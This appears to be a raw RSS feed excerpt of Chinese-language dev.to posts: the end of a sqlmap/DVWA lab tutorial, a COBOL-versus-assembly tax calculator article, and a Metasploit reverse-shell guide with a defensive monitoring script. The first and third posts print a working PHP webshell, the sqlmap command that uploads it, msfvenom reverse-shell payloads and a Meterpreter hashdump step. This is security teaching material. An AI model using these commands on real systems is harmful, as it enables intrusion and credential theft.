&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SELECT grantee, privilege_type FROM information_schema.user_privileges;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'app'@'localhost', USAGE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  上传 WebShell
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfpzisocbdsni7keyczk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxfpzisocbdsni7keyczk.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP WebShell&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;pre&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;/pre&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;上传命令：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--file-write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./shell.php"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--file-dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/html/dvwa/shell.php"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;访问测试：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://localhost:7997/dvwa/shell.php?cmd&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  郑重声明
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;学技术，须以善念为本。此博客所分享的知识，皆为安全研究与防护之用。请务必谨记，绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏，所有后果只能由你自己承担。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;若你选择滥用本博客内容所学技能所造成的任何损害或违法行为，本人概不负责。若因此被警方或相关执法机关追查，一切法律责任与后果均由使用者本人承担。&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>sqlinjection</category>
      <category>sqlmap</category>
      <category>php</category>
    </item>
    <item>
      <title>从 COBOL 到汇编：用个税计算器带你扒光 60 年老古董语言</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 17 Aug 2025 14:49:59 +0000</pubDate>
      <link>https://dev.to/ctkqiang/cong-cobol-dao-hui-bian-yong-ge-shui-ji-suan-qi-dai-ni-ba-guang-60-nian-lao-gu-dong-yu-yan-ga9</link>
      <guid>https://dev.to/ctkqiang/cong-cobol-dao-hui-bian-yong-ge-shui-ji-suan-qi-dai-ni-ba-guang-60-nian-lao-gu-dong-yu-yan-ga9</guid>
      <description>&lt;p&gt;你可能觉得 COBOL 是上世纪的产物，但事实是，今天全球 70% 的金融交易依然运行在 COBOL 上。本文将通过实现一个中国个人所得税计算器，展示 COBOL 的写法，并附上对应的汇编对照，让你看清楚这门“像英语”的语言如何落地到最底层的指令。&lt;/p&gt;




&lt;p&gt;为了让大家更直观地理解 COBOL，我在这篇文章里不仅会系统讲解 COBOL 的四大 Division、数据类型、语句和内置函数，还会拿出相应的 汇编 (Assembly) 代码来做 对比。&lt;/p&gt;

&lt;p&gt;你将会看到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;COBOL 的 MOVE / COMPUTE / DISPLAY，在底层汇编里就是 MOV、ADD、CMP 这些指令。&lt;/li&gt;
&lt;li&gt;数据定义里的 PIC 9(4) V99，在汇编里就对应一块固定大小的内存空间。&lt;/li&gt;
&lt;li&gt;COBOL 的 EVALUATE 语句，其实就类似于汇编中的条件跳转和比较。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  换句话说，这篇文章不是单纯地教 COBOL，而是用汇编来对照，帮你更深刻地理解这门经典语言背后的底层逻辑。
&lt;/h2&gt;

&lt;h2&gt;
  
  
  一、COBOL 程序的基本结构
&lt;/h2&gt;

&lt;p&gt;COBOL 的层级逻辑十分严格，基本单位如下：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Division → Section → Paragraph → Sentence → Statement
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;类比到现代编程语言：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Division ≈ 模块&lt;/li&gt;
&lt;li&gt;Section ≈ 子模块&lt;/li&gt;
&lt;li&gt;Paragraph ≈ 函数&lt;/li&gt;
&lt;li&gt;Statement ≈ 语句&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;COBOL 的语义化极强，看起来像文档，但编译结果完全是底层机器码。&lt;/p&gt;




&lt;h2&gt;
  
  
  二、数据声明：Picture Clause
&lt;/h2&gt;

&lt;p&gt;COBOL 使用 &lt;code&gt;PIC&lt;/code&gt;（Picture Clause）描述数据的格式。例如：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;01 COUNTER PIC S9(4) COMP-4.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;对应汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, 1234
mov [COUNTER], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;在金融系统中，&lt;code&gt;COMP-3&lt;/code&gt;（packed decimal）用得尤其多，因为它能保证十进制精度。&lt;/p&gt;




&lt;h2&gt;
  
  
  三、完整案例：中国个税计算器
&lt;/h2&gt;

&lt;p&gt;下面分步骤给出 COBOL 程序和汇编对照。&lt;/p&gt;




&lt;h3&gt;
  
  
  1. IDENTIFICATION DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDENTIFICATION DIVISION.
PROGRAM-ID. CHINESE-TAX-SYSTEM.
AUTHOR. LING-ER.
DATE-WRITTEN. 2025-07-14.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; 元信息，不编译为指令
; 程序名: CHINESE-TAX-SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. ENVIRONMENT DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ENVIRONMENT DIVISION.
CONFIGURATION SECTION.
SOURCE-COMPUTER. IBM-370.
OBJECT-COMPUTER. IBM-370.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; 编译目标平台声明
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. DATA DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;01 INPUT-FIELDS.
   05 GROSS-INCOME     PIC 9(7)V99.
   05 SOCIAL-INSURANCE PIC 9(5)V99.
   05 HOUSING-FUND     PIC 9(5)V99.
   05 OTHER-DEDUCTIONS PIC 9(5)V99.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SECTION .data
GROSS_INCOME     dd 0
SOCIAL_INSURANCE dd 0
HOUSING_FUND     dd 0
OTHER_DEDUCTIONS dd 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. PROCEDURE DIVISION
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MAIN-LOGIC.
    DISPLAY "中国个人所得税计算器".
    PERFORM GET-USER-INPUT.
    PERFORM CALCULATE-TAX.
    PERFORM DISPLAY-RESULTS.
    STOP RUN.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call print_banner
call get_user_input
call calculate_tax
call display_results
mov eax, 1
int 0x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;计算税额：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;COMPUTE TOTAL-DEDUCTIONS = SOCIAL-INSURANCE + HOUSING-FUND
                         + OTHER-DEDUCTIONS + STANDARD-DEDUCTION.
COMPUTE TAXABLE-INCOME = GROSS-INCOME - TOTAL-DEDUCTIONS.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, [SOCIAL_INSURANCE]
add eax, [HOUSING_FUND]
add eax, [OTHER_DEDUCTIONS]
add eax, [STANDARD_DEDUCTION]
mov [TOTAL_DEDUCTIONS], eax

mov eax, [GROSS_INCOME]
sub eax, [TOTAL_DEDUCTIONS]
mov [TAXABLE_INCOME], eax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. 条件分支 (EVALUATE)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EVALUATE TRUE
   WHEN TAXABLE-INCOME &amp;lt;= BRACKET-1
        COMPUTE TAX-AMOUNT = TAXABLE-INCOME * RATE-1
   WHEN OTHER
        COMPUTE TAX-AMOUNT = ...
END-EVALUATE.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;汇编：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov eax, [TAXABLE_INCOME]
cmp eax, [BRACKET_1]
jg  next_case

; case 1
mov ebx, [RATE_1]
imul eax, ebx
mov [TAX_AMOUNT], eax
jmp end_eval

next_case:
; case 2 ...
end_eval:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  四、总结
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;COBOL 的 &lt;code&gt;MOVE&lt;/code&gt; 对应汇编的 &lt;code&gt;mov&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;COMPUTE&lt;/code&gt; 对应 &lt;code&gt;add/sub/imul&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EVALUATE&lt;/code&gt; 对应 &lt;code&gt;cmp + jmp&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;金融系统选择 COBOL 的原因：语义清晰，编译稳定，执行结果高度可预测&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  五、作者评论
&lt;/h2&gt;

&lt;p&gt;为什么 2025 年了我们还要关心 COBOL？因为大量金融与政府系统依旧运行在它之上。对于业务逻辑清晰、对精度要求极高的应用，COBOL 仍然是值得信赖的选择。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文代码仅供学习和研究，请勿将其用于破坏或非法用途。&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>cobol</category>
      <category>assembly</category>
    </item>
    <item>
      <title>逆向Shell实战——红队技巧 vs 蓝队防御全攻略</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 17 Aug 2025 07:44:58 +0000</pubDate>
      <link>https://dev.to/ctkqiang/ni-xiang-shellshi-zhan-hong-dui-ji-qiao-vs-lan-dui-fang-yu-quan-gong-lue-79h</link>
      <guid>https://dev.to/ctkqiang/ni-xiang-shellshi-zhan-hong-dui-ji-qiao-vs-lan-dui-fang-yu-quan-gong-lue-79h</guid>
      <description>&lt;p&gt;逆向Shell依旧是渗透测试与对抗演练中的核心工具，它清晰地展现了系统利用与防御的边界。本指南将&lt;strong&gt;逐步讲解使用Metasploit进行进攻操作&lt;/strong&gt;，并提供&lt;strong&gt;全面的防御策略&lt;/strong&gt;，适用于专业安全运营团队。&lt;/p&gt;




&lt;h2&gt;
  
  
  理解逆向Shell
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;逆向Shell&lt;/strong&gt;是一种由&lt;strong&gt;目标主机主动连接回监听主机&lt;/strong&gt;的Shell会话，从而允许攻击方执行命令。与传统入站连接的Shell不同，逆向Shell利用&lt;strong&gt;出站网络策略&lt;/strong&gt;进行通信，在现代企业环境中更隐蔽、更有效。&lt;/p&gt;




&lt;h2&gt;
  
  
  红队：使用Metasploit的进攻流程
&lt;/h2&gt;

&lt;p&gt;Metasploit是逆向Shell操作中最灵活的框架之一。以下是&lt;strong&gt;专业、逐步的进攻流程&lt;/strong&gt;：&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤1：侦察&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;确定目标操作系统、服务和漏洞。&lt;/li&gt;
&lt;li&gt;工具：&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;masscan&lt;/code&gt;、&lt;code&gt;shodan&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;示例扫描：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 192.168.1.100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤2：监听器设置&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;启动Metasploit处理器接收目标连接。
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F326nguzf2n39m260u2pf.png" alt="在这里插入图片描述" width="800" height="444"&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfconsole
use exploit/multi/handler
&lt;span class="nb"&gt;set &lt;/span&gt;payload windows/meterpreter/reverse_tcp
&lt;span class="nb"&gt;set &lt;/span&gt;LHOST 192.168.1.10
&lt;span class="nb"&gt;set &lt;/span&gt;LPORT 4444
exploit &lt;span class="nt"&gt;-j&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;处理器后台运行（&lt;code&gt;-j&lt;/code&gt;），等待目标连接。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤3：生成Payload&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;根据目标系统生成适合的Payload：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; shell.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Linux示例：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; linux/x86/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; elf &lt;span class="nt"&gt;-o&lt;/span&gt; shell.elf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;MacOS示例:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; osx/x64/meterpreter_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; macho &lt;span class="nt"&gt;-o&lt;/span&gt; shell.macho
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤4：Payload投递&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;可通过钓鱼邮件、文件上传或漏洞利用进行投递。&lt;/li&gt;
&lt;li&gt;强调在专业演练中&lt;strong&gt;隐蔽性与社会工程学&lt;/strong&gt;的重要性。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤5：Payload执行&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;一旦执行，逆向Shell会连接回Metasploit处理器。&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Meterpreter会话提供：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;文件系统访问&lt;/li&gt;
&lt;li&gt;命令执行&lt;/li&gt;
&lt;li&gt;权限提升模块&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤6：后渗透操作&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;探索系统、权限提升、横向移动（在授权环境下）。&lt;/li&gt;
&lt;li&gt;示例：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getuid
sysinfo
hashdump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤7：可选持久化（仅实验/授权环境）&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;创建计划任务、注册表项或服务保持访问。&lt;/li&gt;
&lt;li&gt;强调此步骤仅限实验室或红队授权演练。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  蓝队：防御策略指南
&lt;/h2&gt;

&lt;p&gt;防御操作需覆盖&lt;strong&gt;预防、检测与响应&lt;/strong&gt;，针对逆向Shell生命周期的每个阶段。&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;1. 侦察防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用IDS/IPS检测扫描行为。&lt;/li&gt;
&lt;li&gt;限制暴露面：关闭未使用端口、网络分段、部署蜜罐。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;2. 监听器检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控内部终端异常监听进程。&lt;/li&gt;
&lt;li&gt;EDR可对异常TCP/UDP监听发出告警。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在前面的理论防御中，我们提到需要监控入站连接、检测异常流量。下面提供一个&lt;strong&gt;企业级蓝队脚本示例&lt;/strong&gt;，可用于实时监控TCP入站连接，并记录来源IP和目标端口，便于后续分析或告警。&lt;/p&gt;

&lt;h4&gt;
  
  
  Linux/MacOS:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# ©2025 钟智强&lt;/span&gt;
&lt;span class="c"&gt;# 作者: 钟智强&lt;/span&gt;
&lt;span class="c"&gt;# 邮箱: johnmelodymel@qq.com&lt;/span&gt;
&lt;span class="c"&gt;##&lt;/span&gt;
&lt;span class="c"&gt;# 入站TCP连接监控工具&lt;/span&gt;
&lt;span class="c"&gt;# 版本: 1.0.0&lt;/span&gt;

&lt;span class="c"&gt;# 日志文件路径&lt;/span&gt;
&lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/inbound_connections.log"&lt;/span&gt;
&lt;span class="nv"&gt;TMP_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/current_connections.tmp"&lt;/span&gt;

&lt;span class="c"&gt;# 初始化日志文件&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"时间戳 | 来源IP | 目标端口 | 服务说明"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"开始监控入站TCP连接..."&lt;/span&gt;

&lt;span class="c"&gt;# 函数：根据端口号返回服务说明&lt;/span&gt;
explain_port&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in
    &lt;/span&gt;22&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SSH - 安全远程访问协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    80&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP - 未加密网页流量"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    443&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTPS - 加密网页流量"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    3306&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"MySQL 数据库默认端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5432&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PostgreSQL 数据库默认端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    6379&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Redis 内存数据库端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    27017&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"MongoDB NoSQL数据库端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    21&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FTP 文件传输协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    25&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SMTP 邮件发送协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    3389&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"RDP 远程桌面协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    8080&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP-Alt - 开发或代理常用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
